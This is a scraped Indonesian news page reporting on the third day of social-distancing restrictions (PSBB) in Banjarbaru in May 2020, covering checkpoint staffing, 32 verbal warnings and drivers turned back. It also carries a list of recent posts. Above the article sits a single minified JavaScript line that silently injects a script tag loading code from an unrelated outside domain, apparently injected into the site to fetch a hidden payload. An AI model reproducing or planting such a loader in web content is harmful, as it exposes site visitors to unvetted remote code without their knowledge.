(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Hari ke-3 PSBB di Banjarbaru Disorot, dari Petugas Istirahat hingga 32 Teguran Lisan


KANALKALIMANTAN.COM, BANJARBARU – Beberapa hal menjadi sorotan selama pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) di Kota Banjarbaru yang memasuki hari ketiga, pada Senin (18/5/2020). Salah satunya tak adanya petugas jaga di Pos PSBB yang berada di lokasi perbatasan.

Longgarnya pegamanan yang dijaga oleh petugas dari Polisi, TNI, Dishub, Dinkes dan Satpol PP Banjarbaru ini pun menjadi buah bibir di kalangan masyarakat. Hal tersebut juga dibuktikan dengan arus lalu lintas yang kini terlihat lengang.

Pantauan Kanalkalimantan.com di Posko Terpadu PSBB, di depan Q Mall Banjarbaru, pukul 14.00 Wita, memang nampak hanya ada beberapa personel yang siaga. Namun pemeriksaan kepada pengendaran yang lalu lalang sama sekali belum dilakukan.

Usut punya usut, Perwira Pengendali (Padal) Posko Terpadu PSBB, Ipda Rudi Ahmadi menuturkan pihaknya baru saja selesai selesai salat dzuhur. Alasan mengapa pemeriksaan belum dilakukan lantaran pihaknya masih melihat kondisi cuaca. “Kita mengamati cuaca terlebih dahulu. Kalau hujan, ya tidak bisa dilakukan pemeriksaan karena kurang efektif. Lalu, kita juga menjaga harus menjaga kondisi kesehatan personel,” kata Ipda Rudi.

Penjagaan selama 24 jam, kata Ipda Rudi akan tetap dilakukan. Hanya saja pihaknya juga harus meluangkan waktu untuk sekadar istirahat. Termasuk melaksanakan ibadah dan mengatur jadwal jaga agar kondisi tubuh personel bisa tetap fit.

Menurut data Posko Terpadu PSBB, Q Mall Banjarbaru, ada sebanyak 26 petugas keamanan yang dikerahkan. Pengamanan yang dilakukan sejak pukul 08.00 Wita hingga pukul 14.00 Wita telah mencatatkan ada 32 kali teguran lisan yang dilancarkan petugas kepada warga.

“Selama 3 hari pelaksanan PSBB, kita masih menemukan pelanggaran dari warga. Paling dominan itu roda dua, misalnya tanpa masker atau terkait KTP Domisili. Kalau roda empat yang banyak ditemui soal persyaratan kapasitas dan tempat duduk penumpang,” ungkapnya.

Diantara 32 pengendara yang mendapat teguran ini, 19 diantarannya dipaksa membutar balik -kembali-. Total ada 19 yang disuruh memutar balik masalah KTP domisili dan juga keperluan mereka tidak begitu penting.

Ditanya terkait apakah ada yang terjaring saat pemeriksaan suhu tubuh, nyatanya juga belum ada ditemukan sampai saat ini. Apabila ada warga ditemukan melebihi suhu normal, kata Ipda Rudi, maka akan diisolasi sementara sembari melihat kondisi yang bersangkutan. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.